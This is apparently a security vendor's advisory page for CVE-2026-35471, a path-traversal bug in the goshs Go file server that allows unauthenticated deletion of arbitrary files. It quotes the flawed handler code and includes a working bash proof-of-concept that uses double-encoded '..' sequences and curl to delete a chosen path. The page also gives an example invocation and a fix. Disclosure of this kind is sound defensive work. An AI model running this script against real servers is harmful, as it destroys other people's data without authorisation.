Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-35471 — goshs

🔴 CVSS 9.8 — Critical ✅ No Known Exploit CWE-22 NVD
9.8
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

goshs: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)

Summary

  • deleteFile() missing return after path traversal check | httpserver/handler.go:645-671

The finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/handler.go:645-671

Trigger: GET /<path>?delete (handler.go:157-160 dispatches to deleteFile)

The function detects .. in the decoded path but does not return.

```go

func (fs *FileServer) deleteFile(w http.ResponseWriter, req *http.Request) {

upath := filepath.FromSlash(filepath.Clean("/" + strings.Trim(req.URL.Path, "/")))

fileCleaned, _ := url.QueryUnescape(upath)

if strings.Contains(fileCleaned, "..") {

w.WriteHeader(500)

_, err := w.Write([]byte("Cannot delete file"))

if err != nil {

logger.Errorf("error writing answer to client: %+v", err)

}

// BUG: no return, falls through to os.RemoveAll

}

deletePath := filepath.Join(fs.Webroot, fileCleaned)

err := os.RemoveAll(deletePath) // always executes

```

Root causes:

Missing return after the guard makes the check dead code

Impact: Unauthenticated arbitrary file/directory deletion.

PoCs:

```bash

#!/usr/bin/env bash

# Delete an arbitrary file/directory on a running goshs instance.

# Usage: ./arbitrary_delete.sh <host> <port> <absolute-path-to-delete>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

PORT="${2:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

TARGET="${3:?Usage: $0 <host> <port> <absolute-path-to-delete>}"

# Double-encode ".." => %252e%252e

# We don't know the webroot depth, so use 16 levels (covers most paths).

TRAVERSAL=""

for _ in $(seq 1 16); do

TRAVERSAL="${TRAVERSAL}%252e%252e/"

done

# Strip leading / from target and URL-encode any special chars

TARGET_REL="${TARGET#/}"

ENCODED_TARGET=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$TARGET_REL', safe='/'))")

URL="http://${HOST}:${PORT}/${TRAVERSAL}${ENCODED_TARGET}?delete"

echo "[*] Target: ${TARGET}"

echo "[*] Request: GET ${URL}"

echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" "$URL")

echo "[*] HTTP ${HTTP_CODE}"

```

To execute it: ./arbitrary_delete.sh 10.1.2.2 8000 /tmp/canary

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-35471 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-35471 is recorded against 2 packages.

  • github.com/patrickhener/goshs
  • goshs

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
nvd.nist.gov (Advisory)
github.com (Fix)

Other advisories for this package

github.com/patrickhener/goshs has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-22: Path Traversal) in other software:

Details

Severity CRITICAL
CVSS Score 9.8
CVSS Vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-22
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25

Affected Packages

Software From version Fixed in
github.com/patrickhener/goshs — —
goshs — —

Similar Threats

Exploit Protection

Are you running goshs?

CVE-2026-35471 carries CVSS 9.8 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-35471 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓